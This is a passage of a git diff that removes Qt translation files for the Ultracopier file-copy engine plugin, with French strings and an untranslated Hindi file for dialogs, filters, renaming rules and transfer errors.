- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Regex simplifié</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Regex perl</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Appliquer sur fichier</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Appliquer sur dossier</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Correspondance totale</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Impossible de faire un déplacement ou une copie dans le mauvais mode forcé: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Impossible de sauvegarde la liste de transfer: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Probléme à la lecture, ou fichier de taille nulle</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Mauvaise en-tête: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode mixte, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode copie, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode déplacement, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Quelque erreur ont été trouvé durrant l&apos;analise des lignes</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Impossible d&apos;ouvrir la list de transfer: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Impossible de créer le répertoire</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Impossible de lire le fichier source: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Fichier diminué durrant la lecture, possible changement de données</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Premier renommage</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>%name% - copie</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Seconds renommage</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>%name% - copie (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; pour le nombre extra&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Régles de renommage</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>Impossible de supprimer le répertoire</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation>Les checksums ne correspondent pas</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Impossible de lire le fichier source: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Fichier diminué durrant la lecture, possible changement de données</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Le moteur est forcé en déplacement, vous ne pouvez pas copier avec</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Le moteur est forcé en copie, vous ne pouvez pas déplacer avec</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Le mode as été forcé précédement, c&apos;est une erreur interne, merci de le repporter</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation>Erreur d&apos;options</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Moteur d&apos;options non chargé, impossible d&apos;accédrer aux filtres</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Erreur sur le fichier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Erreur</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Mettre à la fin</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Réessayer</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Erreur sur un dossier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nom de répertoire</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Le fichier existe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Source</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destination</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>&amp;Ecraser</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Ecraser si plus récent</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Ecraser si la date de modification est différente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Ces fichiers sont identiques</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La source et la destination sont identiques</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Les répertoires sont identiques</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Source</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destination</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La source et la destination sont identiques</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nom de répertoire</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Fusionner</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Passer</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Dossier déjà existant</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Transférer les droits des fichiers</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Garder la date du fichier</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>En cas d&apos;erreur de répertoire</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Demander</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Passer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Fusionner</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Renommer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Vérifier si le répertoire de destination existe</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Taille de block</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>Ko</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Démmarer automatiquement le transfert</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Lors d&apos;une collision de dossier</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Seulement après erreur</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignorer si impossible</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Faire un checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Activer le buffer de l&apos;OS</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtres</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Régles de renommage</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>Buffer de l&apos;OS seulement si plus petit que</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>Le répertoire n&apos;existe pas</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>Le répertoire n&apos;est pas lisible</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/hi/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/hi/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/hi/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
